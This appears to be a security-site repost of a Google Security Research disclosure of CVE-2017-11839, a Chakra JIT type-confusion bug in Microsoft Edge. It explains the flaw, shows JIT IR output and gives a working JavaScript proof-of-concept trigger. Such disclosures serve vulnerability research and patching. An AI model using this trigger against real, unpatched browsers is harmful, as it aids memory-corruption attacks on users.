首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Edge Chakra JIT BailOutOnTaggedValue Bailouts
来源:Google Security Research 作者:lokihardt 发布时间:2017-11-27  
Microsoft Edge: Chakra: JIT: BailOutOnTaggedValue bailouts can be generated for constant values 

CVE-2017-11839


1.
In the Chakra's JIT compilation process, it stores variables' type information by basic block.

function opt(b) {
    let o;
    if (b) {
        // BASIC BLOCK (a)
        o = {};
    } else {
        // BASIC BLOCK (b)
        o = 1.1;
    }
    // BASIC BLOCK (c)
    return o;
}

For example, let's think the above code gets optimized. At the basic block (a), the type of "o" is always "Object". At the basic block (b), the type of "o" is always "CanBeTaggedValue_Float". At the basic block (c), it combines the two types, and marks the type of "o" as "CanBeTaggedValue_Mixed"(Object + CanBeTaggedValue_Float).

Explanation of TaggedValue in Chakra: <a href="http://abchatra.github.io/TaggedFloat/" title="" class="" rel="nofollow">http://abchatra.github.io/TaggedFloat/</a>

But unlike variables, the type information of constants like numbers, strings is managed globally. This means, once a constant is marked as some type in a certain block. All blocks will treat it as that type regardless of the control flow.

2.
Chakra uses a BailOutOnTaggedValue bailout to ensure a variable's type is "Object". The bailouts can be generated when inlining JavaScript functions.

function opt(inlinee) {
    inlinee();
}

Generated IR code for the above code:
                       StatementBoundary  #0                                  #0000 
    s6.var          =  StartCall      1 (0x1).i32                             #0000 
                       BailOnNotObject  s3[LikelyCanBeTaggedValue_Object].var #0006  Bailout: #0006 (BailOutOnInlineFunction)
    s10.var         =  Ld_A           [s3[LikelyObject].var+8].u64            #0006 
                       BailOnNotEqual  [s10.var!].i32, 26 (0x1A).i32          #      Bailout: #0006 (BailOutOnInlineFunction)
                       BailOnNotEqual  [s3[LikelyObject].var+40].u64, 0xXXXXXXXX (FunctionBody [Anonymous function (#1.3), #4]).u64 # Bailout: #0006 (BailOutOnInlineFunction)

As you can see after the "BailOnNotObject" opcode which generates "BailOutOnTaggedValue" bailouts, the type of "s3" becomes "LikelyObject" from "LikelyCanBeTaggedValue_Object". This means there's no case where "s3" is not an object after the opcode which ensures its type, so it's safe to use it as an object without checks after the opcode.

But the problem is that this can be applied to constants.

Here's the PoC.

function opt2(inlinee, v) {
    if (v > 0) {
        inlinee();
    } else {
        inlinee.x = 1.1;
    }
}

function opt() {
    opt2(2.3023e-320, null);
}

function main() {
    opt2(() => {}, 1);  // feed a function to the profiler

    for (let i = 0; i < 10000; i++) {
        opt();
    }
}

main();

We can simply think it as follows:
(NOT PRECISE just for understanding)

Just after inlining:
    // Basic block (a)
    s2 = 2.30235E-320;  // constant
    inlinee = s2;  // variable
    if (null > 0) {
        // Basic block (b)
        BailOnNotObject(inlinee);
        inlinee();
    } else {
        // Basic block (c)
        inlinee.x = 1.1;
    }

    Type map:
        Constants:
            s2: CanBeTaggedValue_Float
        Basic block (a):
            inlinee: CanBeTaggedValue_Float
        Basic block (b):
            inlinee: CanBeTaggedValue_Float
        Basic block (c):
            inlinee: CanBeTaggedValue_Float

In the Global Optimization Phase:
    // Basic block (a)
    s2 = 2.30235E-320;
    if (null > 0) {
        // Basic block (b)
        BailOnNotObject(s2);
        s2();
    } else {
        // Basic block (c)
        s2.x = 1.1;
    }

    Type map:
        Constants:
            s2: CanBeTaggedValue_Float -> Float
        Basic block (a):
        Basic block (b):
        Basic block (c):

At the basic block (b), the BailOnNotObject opcode changes the type of "s2" to "Float". And since "s2" is a constant, that change affects the basic block (c). So it leads to type confusion at the basic block (c).

Note: Just "Float" is considered an Object type.


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·D-Link DIR-850L Credential Dis
·Microsoft Edge Chakra JIT Glob
·WebKit - 'WebCore::FormSubmiss
·Microsoft Edge Chakra JIT Inli
·WebKit - 'WebCore::RenderObjec
·Microsoft Edge Chakra JIT Inco
·WebKit - 'WebCore::DocumentLoa
·Linux - 'mincore()' Uninitiali
·WebKit - 'WebCore::Style::Tree
·ALLPlayer 7.5 - Local Buffer O
·WebKit - 'WebCore::SVGPatternE
·Exim 4.89 - 'BDAT' Denial of S
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved